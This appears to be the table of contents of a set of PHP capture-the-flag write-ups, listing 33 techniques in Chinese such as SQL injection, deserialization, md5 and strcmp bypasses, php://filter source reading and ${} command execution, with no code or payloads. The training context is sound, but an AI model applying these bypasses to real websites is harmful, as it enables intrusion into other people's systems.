  1. 1. extract覆盖
  2. 2. is_number&回文数绕过
  3. 3. 序列化
  4. 4. with rollup
  5. 5. ereg绕过及php弱语言性质
  6. 6. eregi,file_get_contents绕过
  7. 7. 数组绕过strcmp
  8. 8. 数组绕过sha1
  9. 9. bp绕过session
  10. 10. 这个属于sql注入了吧…
  11. 11. url双重编码
  12. 12. sql闭合
  13. 13. 改xff
  14. 14. md5绕过
  15. 15. intval四舍五入
  16. 16. 数组绕过strpos
  17. 17. 也是个sql注入
  18. 18. 16进制绕过10进制检测
  19. 19. 正则
  20. 20. 弱类型&00截断绕过is_numeric
  21. 21. md5(,true)
  22. 22. 反序列化
  23. 23. 闭合反引号
  24. 24. 利用implode绕过正则
  25. 25. php://filter读源码
  26. 26. 利用优先级绕过一些判断
  27. 27. 还是弱类型
  28. 28. 包含,序列化,php://input得到原始post数据,php://filter读源码
  29. 29. ${}执行命令
  30. 30. []>任何数,.表示_
  31. 31. in_array未设置第三个参数
  32. 32. filter_var缺陷
  33. 33. 实例化任意对象漏洞